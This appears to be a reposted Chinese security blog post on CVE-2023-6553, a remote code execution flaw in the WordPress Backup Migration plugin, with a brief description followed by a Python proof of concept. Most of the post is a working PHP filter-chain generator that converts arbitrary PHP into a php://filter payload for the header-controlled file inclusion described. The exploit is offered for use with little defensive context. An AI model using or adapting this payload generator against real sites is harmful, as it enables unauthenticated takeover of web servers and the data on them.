CVE-2023-6553 WordPress存在的远程命令执行漏洞 PoC

2024年12月9日13:15:12评论36 views字数 6885阅读22分57秒阅读模式

一、漏洞概述与影响范围：

Backup Migration插件是WordPress中一个自动备份类的插件，可帮助管理员自动将网站备份到本地存储或Google Drive账户上，目前有超过9万次安装。本次排查的漏洞出现在Backup Migration 1.3.7及之前的所有版本，插件的includes/backup-heart.php文件试图包含BMI_INCLUDES目录下的bypasser.php文件，但攻击者可以通过HTTP头控制BMI_ROOT_DIR的值，进而对BMI_INCLUDES的内容进行修改，使该php改为包含攻击者指定路径下的恶意文件，实现远程代码执行。该漏洞利用无前置要求，危害性较大。

受该漏洞影响的组件版本：WordPress Backup Migration <= 1.3.7

PoC

import base64


class PHPFilterChainGenerator:
    def __init__(self):
        self.conversions = {
            "0": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2",
            "1": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
            "2": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
            "3": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
            "4": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
            "5": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2",
            "6": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
            "7": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
            "8": "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2",
            "9": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
            "A": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
            "a": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
            "B": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
            "b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
            "C": "convert.iconv.UTF8.CSISO2022KR",
            "c": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
            "D": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
            "d": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
            "E": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
            "e": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
            "F": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
            "f": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
            "g": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
            "G": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
            "H": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
            "h": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
            "I": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
            "i": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
            "J": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
            "j": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
            "K": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
            "k": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
            "L": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
            "l": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
            "M": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
            "m": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
            "N": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
            "n": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
            "O": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
            "o": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
            "P": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
            "p": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
            "q": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
            "Q": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
            "R": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
            "r": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
            "S": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
            "s": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
            "T": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
            "t": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
            "U": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
            "u": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
            "V": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
            "v": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2",
            "W": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
            "w": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
            "X": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
            "x": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
            "Y": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
            "y": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
            "Z": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
            "z": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937",
            "/": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
            "+": "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157",
            "=": "",
        }

    def generate_filter_chain(self, chain):
        chain = chain.encode("utf-8")
        chain = base64.b64encode(chain).decode("utf-8").replace("=", "")
        encoded_chain = chain
        filters = "convert.iconv.UTF8.CSISO2022KR|"
        filters += "convert.base64-encode|"
        filters += "convert.iconv.UTF8.UTF7|"

        for c in encoded_chain[::-1]:
            filters += self.conversions[c] + "|"
            filters += "convert.base64-decode|"
            filters += "convert.base64-encode|"
            filters += "convert.iconv.UTF8.UTF7|"

        filters += "convert.base64-decode"
        final_payload = f"php://filter/{filters}/resource=php://temp"
        return final_payload

原文始发于微信公众号（TtTeam）：CVE-2023-6553 WordPress存在的远程命令执行漏洞

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